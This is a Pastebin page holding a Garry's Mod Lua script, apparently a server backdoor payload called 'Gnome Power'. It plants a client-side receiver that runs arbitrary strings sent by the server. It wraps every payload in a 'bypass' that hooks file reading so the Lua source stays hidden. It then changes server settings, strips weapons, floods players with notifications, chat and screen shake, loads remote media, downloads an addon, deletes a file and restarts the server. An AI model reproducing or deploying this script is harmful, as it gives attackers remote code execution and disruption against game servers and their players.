Maxdace66

test

Sep 8th, 2019
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.76 KB | None | 0 0
  1. util.AddNetworkString("Gnome_Power")
  2.  
  3. function payload( ply )
  4.     ply:SendLua( "net.Receive([[Gnome_Power]], function() RunString(net.ReadString()) end)" )
  5. end
  6. local bypass = [=====[
  7. if !fRead then
  8. fRead=file.Read
  9. fOpen=file.Open
  10. end
  11.  
  12. file.Open=function(fn,fm,path)
  13. loh=nil
  14. loh=string.Explode("/",fn)
  15. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  16. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  17. return ""
  18. else
  19. return fOpen(fn,fm,path)
  20. end
  21. end
  22.  
  23. file.Read=function(fn,path)
  24. loh=nil
  25. loh=string.Explode("/",fn)
  26. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  27. chat.AddText("someone tried grabbing ur file named "..fn..".")
  28. return ""
  29. else
  30. return fRead(fn,path)
  31. end
  32. end
  33.  
  34. ]=====]
  35.  
  36. function runcode(ply, code)
  37.     net.Start( "Gnome_Power" )
  38.         net.WriteString("if SERVER then return '' end "..bypass.." "..code )
  39.     net.Send( ply )
  40. end
  41.  
  42. hook.Add( "HUDShouldDraw", "hide hud", function( name )
  43.      if ( name == "CHudHealth" or name == "CHudBattery" ) then
  44.          return false
  45.      end
  46. end )
  47.  
  48. for k, v in pairs( player.GetAll() ) do
  49.     payload( v )
  50. end
  51.  
  52. function run_chaos()
  53.  
  54. hook.Add( "PlayerAuthed", "wat", function( ply )
  55.     payload(ply)
  56. end )
  57.  
  58. timer.Create("FSDFYSDFSDIYFIDGSFKGS", 1.0, 1, function()  
  59. for k,v in pairs(player.GetAll() ) do
  60. runcode(v, [==[
  61.  
  62. WooHTML = vgui.Create( "HTML" )
  63. WooHTML:SetPos( 99999999999999999999, 99999999999999999999 )
  64. WooHTML:SetSize( ScrW(), ScrH())
  65. WooHTML:OpenURL( "https://mandown.webou.net/payloadimg/Gnome.png" )
  66.  
  67. ]==])
  68. end
  69.  
  70.  
  71. BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/I'M%20A%20GNME!.m4a", "stereo", function() end )]])
  72.  
  73. RunConsoleCommand( "sv_gravity", "200" )
  74. RunConsoleCommand( "sv_friction", "-1" )
  75. RunConsoleCommand("hostname", "GnomVilla le RP des Gnomes | les lutins ne sont pas accepter.")
  76. player.GetByID( 1 ):StripWeapons()
  77.  
  78.  
  79. for k, ply in pairs( player.GetAll() ) do
  80.     ply:ChatPrint( "G" )
  81.     ply:ChatPrint( "N" )
  82.     ply:ChatPrint( "O" )
  83.     ply:ChatPrint( "M" )
  84.     ply:ChatPrint( "E" )
  85.     ply:ChatPrint( "-" )
  86.     ply:ChatPrint( "P" )
  87.     ply:ChatPrint( "O" )
  88.     ply:ChatPrint( "W" )
  89.     ply:ChatPrint( "E" )
  90.     ply:ChatPrint( "R" )
  91. end
  92.  
  93. for k,v in pairs(player.GetAll() ) do
  94.     runcode(v, [==[        
  95.         local vars2 = { NOTIFY_GENERIC , NOTIFY_ERROR , NOTIFY_UNDO , NOTIFY_HINT, NOTIFY_CLEANUP }
  96.         local vars3 = {"Les Gnome Arrivent en ville !"}      
  97.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_GENERIC , 1 )
  98.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_ERROR , 1 )
  99.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_UNDO , 1 )
  100.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_HINT , 1 )
  101.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_CLEANUP , 1 )
  102.         timer.Create( "spamnotifafter", 0.2, 0, function()
  103.         notification.AddLegacy( vars3[math.random(1,#vars3)], vars2[math.random(1,#vars2)] , 1 )
  104.         end)
  105.     ]==])
  106. end
  107.  
  108. timer.Create("downloadgnome", 1.0, 1, function ()
  109.     for k,v in pairs(player.GetAll() ) do
  110.         steamworks.FileInfo(1862723813,function(result)
  111.         steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)
  112.         end)
  113.         end)
  114.     end
  115. end)        
  116.  
  117. timer.Create("nexbotspawn", 10.0, 0, function ()
  118.     for k,v in pairs(player.GetAll() ) do
  119.         RunConsoleCommand( "gmod_spawnnpc npc_gnomed" )
  120.     end
  121. end)
  122.  
  123. timer.Create("notifspam", 17.8, 0, function()  
  124.     for k,v in pairs(player.GetAll() ) do
  125.         runcode(v, [==[        
  126.         local vars2 = { NOTIFY_GENERIC , NOTIFY_ERROR , NOTIFY_UNDO , NOTIFY_HINT, NOTIFY_CLEANUP }
  127.         local vars3 = {"Gnome", "Gnome Power", "Power", "power", "gnome", "I'M A GNOME!", "Gnome your Chums", "Gnome your Chums with the new", "Youve been Gnomed", "video greeting", "join my members at", "www.nogginclontith.co.uk"}    
  128.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_GENERIC , 1 )
  129.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_ERROR , 1 )
  130.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_UNDO , 1 )
  131.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_HINT , 1 )
  132.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_CLEANUP , 1 )
  133.         timer.Create( "spamnotifafter", 0.2, 0, function()
  134.         notification.AddLegacy( vars3[math.random(1,#vars3)], vars2[math.random(1,#vars2)] , 1 )
  135.         end)
  136.         ]==])
  137.     end
  138. end)
  139.  
  140. timer.Create("gnomearrive", 1.5, 1, function ()
  141.     for k, ply in pairs( player.GetAll() ) do
  142.         ply:ChatPrint(" ")
  143.         ply:ChatPrint( "///////////////////////////////" )
  144.         ply:ChatPrint( " Les Gnome Arrivent en ville !" )
  145.         ply:ChatPrint( "///////////////////////////////" )
  146.         ply:ChatPrint( " " )
  147.         ply:ChatPrint( " " )
  148.         ply:ChatPrint( "I'M A GNOME !" )
  149.         ply:ChatPrint( " " )
  150.         ply:ChatPrint( "///////////////////////////////" )
  151.     end
  152. end)
  153.  
  154. timer.Create("textsub2", 2.5, 1, function()
  155.             for k,v in pairs(player.GetAll() ) do
  156.             runcode(v, [==[
  157.             local i = 0
  158.             if i >= 200 then
  159.             else
  160.             timer.Create("infecting", 0.1, 51, function()
  161.                 chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Le nombre gnome est de ... "..i.."gnomes")
  162.             i = i + 2
  163.             end)
  164.             end
  165.            
  166.             ]==])
  167.         end
  168.  end)
  169.  
  170. timer.Create("musiquetwo", 17.5, 1, function()
  171. for k,v in pairs(player.GetAll() ) do
  172.     BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/power.mp3", "stereo", function() end )]])
  173. end
  174. end)
  175.  
  176.  
  177. timer.Create("screenshake", 17.8, 0, function()
  178.     for k,v in pairs(player.GetAll() ) do
  179.         runcode(v, [==[
  180.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
  181.         ]==])
  182.     end
  183. end)
  184.  
  185. timer.Create("modificateoption", 26.0, 1, function ()
  186.     for k,v in pairs(player.GetAll() ) do
  187.         RunConsoleCommand( "sv_gravity", "100" )
  188.         RunConsoleCommand( "sv_friction", "-8" )
  189.         player.GetByID( 1 ):StripWeapons()
  190.     end
  191. end)
  192.  
  193. timer.Create("gnomemodif", 26.1, 1, function ()
  194. for k, ply in pairs( player.GetAll() ) do
  195.         ply:ChatPrint( " " )
  196.                 ply:ChatPrint( " Les Gnomes sont devenue des dieux " )
  197.                         ply:ChatPrint( " Ils peuvent donc détruire le monde " )
  198.         ply:ChatPrint( " " )
  199.     end
  200. end)
  201.  
  202. timer.Create("textoncenter", 26.1, 1, function()
  203. for k,v in pairs(player.GetAll() ) do
  204.     runcode(v, [==[
  205.     local screen_scale = math.Clamp(ScrH()/1080, 0.6, 1);
  206.  
  207.     surface.CreateFont( "Bigfred", {
  208.     font = "Roboto",
  209.     extended = false,
  210.     size = screen_scale *  1000,
  211.     weight = 200,
  212.     blursize = 1.5,
  213.     scanlines = 0,
  214.     antialias = true,
  215.     underline = false,
  216.     italic = false,
  217.     strikeout = false,
  218.     symbol = false,
  219.     rotary = false,
  220.     shadow = false,
  221.     additive = true,
  222.     outline = false,
  223.     } )
  224.  
  225.     hook.Add( "HUDPaint", "aumillieu", function()
  226.     draw.SimpleTextOutlined(
  227.     "Gnome Power",
  228.     "Bigfred",
  229.     ScrW() /2 + math.random(80,5),
  230.      ScrH() /2 + math.random(80,5),
  231.        Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  232.     TEXT_ALIGN_CENTER,
  233.     TEXT_ALIGN_CENTER,
  234.     3,
  235.     Color( 0,0,0, 160 )
  236.     )
  237.     end)
  238.  
  239.         ]==])
  240.     end
  241. end)
  242.  
  243. timer.Create("woo", 66.8, 0, function()
  244.     for k,v in pairs( player.GetAll() ) do
  245.         BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/Gnome%20woo%20greenscreen.mp3", "stereo", function() end )]])
  246.     end
  247. end)
  248.  
  249. timer.Create("wooo", 67.2, 0, function()
  250.     for k,v in pairs( player.GetAll() ) do
  251.         runcode(v, [==[ WooHTML:SetPos( (ScrW() /2) - 146, (ScrH() /2) - 212) ]==] )
  252.     end
  253. end)
  254.  
  255. timer.Create("deletedata", 10.8, 1, function ()
  256.     for k,v in pairs( player.GetAll () ) do
  257.         file.Delete( "exemple.txt" )
  258.     end
  259. end)
  260.  
  261. timer.Create("restartserver", 100.0, 1, function ()
  262.     for k,v in pairs( player.GetAll () ) do
  263.         RunConsoleCommand( "_restart" )
  264.     end
  265. end)
  266.  
  267. end)
  268.  
  269. end
  270.  
  271. if !hook.GetTable().PlayerInitialSpawn.podsos then
  272. hook.Add("PlayerInitialSpawn", "podsos", function()
  273. timer.Simple(10, function()
  274. run_chaos()
  275. end)
  276. end)
  277. run_chaos()
  278. end
Advertisement
Add Comment
Please, Sign In to add comment